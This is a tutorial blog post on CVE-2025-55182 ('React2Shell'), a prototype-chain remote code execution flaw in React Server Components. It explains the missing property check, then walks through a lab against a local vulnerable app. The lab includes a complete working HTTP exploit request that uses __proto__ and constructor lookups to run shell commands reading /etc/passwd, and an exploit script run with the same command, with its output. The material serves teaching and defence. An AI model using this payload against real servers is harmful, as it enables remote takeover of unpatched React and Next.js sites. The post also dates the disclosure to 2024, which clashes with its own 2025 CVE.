Tools
React2Shell: The Single Line of Code That Broke the Internet
2025-12-13
0 views
admin
The 3-Second Version ## Who's Affected? ## Understanding React Server Components (RSC) ## The Flight Protocol: The Missing Piece ## What is the Flight Protocol? ## How the Exploit Works ## The Vulnerability: A Missing Security Check ## Try It Yourself: Hands-On Lab ## What You'll Need ## Lab Setup ## Method 1: Exploitation with Burp Suite ## Method 2: Exploitation with Python Script ## ⚠️Responsible Disclosure Understanding CVE-2025–55182 in plain English I still remember December 3rd, 2024. I was scrolling through Twitter when I saw it - React had just disclosed a critical vulnerability. CVSS 10.0. The maximum severity score possible.
Within hours, security researchers confirmed it: a single HTTP request could give attackers complete control over millions of websites.
This is the story of CVE-2025–55182, also known as React2Shell. Imagine your house has a security system. When someone knocks, the system should check their ID before opening the door.
React Server Components forgot to check IDs.
An attacker could knock in a specific way, and the door would just… open. Full access to everything inside. Research shows 39% of all cloud environments have vulnerable React instances running right now.
React 19.0–19.2.0
Next.js 15.x or 16.0–16.6 Before we dive into the vulnerability, you need to understand what React Server Components actually are.
React 19 introduced a game-changer: split your code between server and browser.
Server Components (new) run on your server - can access databases, faster loading.
Client Components (traditional) run in the browser - handle clicks, forms, interactions.
The benefit? Websites load 50–70% faster. The problem? They need to talk to each other using something called the Flight Protocol. Here's where it gets interesting.
When your browser needs data from a Server Component, it can't just ask nicely. They speak different languages. That's where the Flight Protocol comes in. Think of it as a specialized delivery system. It packages data into "chunks" and sends them between server and client. The $ symbol is special-it tells React "go look up this reference in another chunk."
This is super efficient… but also dangerous. Let me break down the entire attack chain in a way anyone can understand. The Core Concept: JavaScript's Hidden Inheritance
Every object in JavaScript has a hidden connection to a "parent object" that gives it extra abilities. Think of it like this: In JavaScript, if you keep following this inheritance chain upward, you eventually reach something called the Function Constructor - a powerful tool that can create and execute any code from plain text.
Normally, applications can't reach this. It's locked away for safety.
But React Server Components forgot to lock the door. When React processes Flight Protocol data, it needs to look up references like $1:propertyName. The vulnerable code did this: The problem? This doesn't check if the property actually belongs to that object. It will happily reach into the inheritance chain and grab proto, constructor, or anything else. That one missing hasOwnProperty() check opened the door to complete system compromise. ⚠️ Legal Disclaimer: Only test on systems you own. Unauthorized testing is illegal. This lab is for educational purposes only. Step 1: Clone the Repository Step 2: Start the Vulnerable Application Wait about 20 seconds for the application to start. Step 3: Verify It's Running
Open your browser and go to http://localhost:3000
You should see "TechBlog Pro" Step 2: Capture a Request Visit http://localhost:3000 in your browser and click anywhere on the page. Burp will intercept the request. Step 3: Send to Repeater Step 4: Craft the Exploit
Replace the entire request with this: Step 5: Send the Exploit Click "Send" in Burp Suite. BOOM! We have successfully exploited… For those who prefer automation, I've included a ready-to-use exploit script. Step 1: Run the Exploit Step 2: See the Results Thanks for reading! I hope this helped you understand CVE-2025–55182. If you have questions, suggestions, or just want to discuss security stuff, feel free to reach out. I'm always happy to connect with fellow security enthusiasts.
Got feedback? Found something unclear? Spotted an error? DM me - I'd love to hear from you. This research is for educational purposes only. The lab environment is isolated and safe for learning. Templates let you quickly answer FAQs or store snippets for re-use. Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink. Hide child comments as well For further actions, you may consider blocking this person and/or reporting abuse CODE_BLOCK:
Browser: "Hey server, I need user data"
Server: "Here you go, packaged in Flight format" Enter fullscreen mode Exit fullscreen mode CODE_BLOCK:
Browser: "Hey server, I need user data"
Server: "Here you go, packaged in Flight format" CODE_BLOCK:
Browser: "Hey server, I need user data"
Server: "Here you go, packaged in Flight format" CODE_BLOCK:
Chunk 0: {"user": {"name": "John", "id": 123}}
Chunk 1: {"comment": "Great post!", "author": "$0"} ↑ "$0" means "reference the data in Chunk 0" Enter fullscreen mode Exit fullscreen mode CODE_BLOCK:
Chunk 0: {"user": {"name": "John", "id": 123}}
Chunk 1: {"comment": "Great post!", "author": "$0"} ↑ "$0" means "reference the data in Chunk 0" CODE_BLOCK:
Chunk 0: {"user": {"name": "John", "id": 123}}
Chunk 1: {"comment": "Great post!", "author": "$0"} ↑ "$0" means "reference the data in Chunk 0" CODE_BLOCK:
// What React did (VULNERABLE)
function getProperty(object, propertyName) { return object[propertyName]; // Just grab it, no questions asked
} Enter fullscreen mode Exit fullscreen mode CODE_BLOCK:
// What React did (VULNERABLE)
function getProperty(object, propertyName) { return object[propertyName]; // Just grab it, no questions asked
} CODE_BLOCK:
// What React did (VULNERABLE)
function getProperty(object, propertyName) { return object[propertyName]; // Just grab it, no questions asked
} CODE_BLOCK:
// What React should have done (SECURE)
function getProperty(object, propertyName) { if (object.hasOwnProperty(propertyName)) { // Verify it's a direct property return object[propertyName]; } return undefined; // Reject suspicious access
} Enter fullscreen mode Exit fullscreen mode CODE_BLOCK:
// What React should have done (SECURE)
function getProperty(object, propertyName) { if (object.hasOwnProperty(propertyName)) { // Verify it's a direct property return object[propertyName]; } return undefined; // Reject suspicious access
} CODE_BLOCK:
// What React should have done (SECURE)
function getProperty(object, propertyName) { if (object.hasOwnProperty(propertyName)) { // Verify it's a direct property return object[propertyName]; } return undefined; // Reject suspicious access
} COMMAND_BLOCK:
git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab
cd CVE-2025-55182-Lab Enter fullscreen mode Exit fullscreen mode COMMAND_BLOCK:
git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab
cd CVE-2025-55182-Lab COMMAND_BLOCK:
git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab
cd CVE-2025-55182-Lab COMMAND_BLOCK:
sudo docker-compose up -d Enter fullscreen mode Exit fullscreen mode COMMAND_BLOCK:
sudo docker-compose up -d COMMAND_BLOCK:
sudo docker-compose up -d CODE_BLOCK:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 787
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('head -n 3 /etc/passwd',{'timeout':5000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- Enter fullscreen mode Exit fullscreen mode CODE_BLOCK:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 787
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('head -n 3 /etc/passwd',{'timeout':5000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- CODE_BLOCK:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 787
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('head -n 3 /etc/passwd',{'timeout':5000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- CODE_BLOCK:
python3 exploit.py "whoami" Enter fullscreen mode Exit fullscreen mode CODE_BLOCK:
python3 exploit.py "whoami" CODE_BLOCK:
python3 exploit.py "whoami" COMMAND_BLOCK:
┌──(kali㉿kali)-[~/Desktop/cve-2025–55182-lab]
└─$ python3 exploit.py http://127.0.0.1:3000 'cat /etc/passwd'
[*] CVE-2025–55182 RCE Exploit (Burp Method)
[*] Target: http://127.0.0.1:3000/
[*] Command: cat /etc/passwd
[*] Sending exploit…
[*] Status: 500
============================================================
✓✓✓ EXPLOITATION SUCCESSFUL! ✓✓✓
============================================================
Command: cat /etc/passwd
Output: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Enter fullscreen mode Exit fullscreen mode COMMAND_BLOCK:
┌──(kali㉿kali)-[~/Desktop/cve-2025–55182-lab]
└─$ python3 exploit.py http://127.0.0.1:3000 'cat /etc/passwd'
[*] CVE-2025–55182 RCE Exploit (Burp Method)
[*] Target: http://127.0.0.1:3000/
[*] Command: cat /etc/passwd
[*] Sending exploit…
[*] Status: 500
============================================================
✓✓✓ EXPLOITATION SUCCESSFUL! ✓✓✓
============================================================
Command: cat /etc/passwd
Output: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - COMMAND_BLOCK:
┌──(kali㉿kali)-[~/Desktop/cve-2025–55182-lab]
└─$ python3 exploit.py http://127.0.0.1:3000 'cat /etc/passwd'
[*] CVE-2025–55182 RCE Exploit (Burp Method)
[*] Target: http://127.0.0.1:3000/
[*] Command: cat /etc/passwd
[*] Sending exploit…
[*] Status: 500
============================================================
✓✓✓ EXPLOITATION SUCCESSFUL! ✓✓✓
============================================================
Command: cat /etc/passwd
Output: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Your car has features you added (custom seats, sound system)
- But it also inherits features from the factory (engine, wheels, steering)
- And those features inherit from even more basic blueprints (metal, rubber, glass) - Docker installed on your machine
- Burp Suite (Community Edition is fine)
- Basic command line knowledge
- 10 minutes of your time - Step 1: Configure Burp Suite**
- Open Burp Suite
- Go to Proxy → Intercept
- Set your browser to use Burp proxy (127.0.0.1:8080)
- Turn intercept ON - Right-click the request → Send to Repeater
- Go to Repeater tab
how-totutorialguidedev.toaimlservershellcrondockernodepythonjavascriptdatabasegit